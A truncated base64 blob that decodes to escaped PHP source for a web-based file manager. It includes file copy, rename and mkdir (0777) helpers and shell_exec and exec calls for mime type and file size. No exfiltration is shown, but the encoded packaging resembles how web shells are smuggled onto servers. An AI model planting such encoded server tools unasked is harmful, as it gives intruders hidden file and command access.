A9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N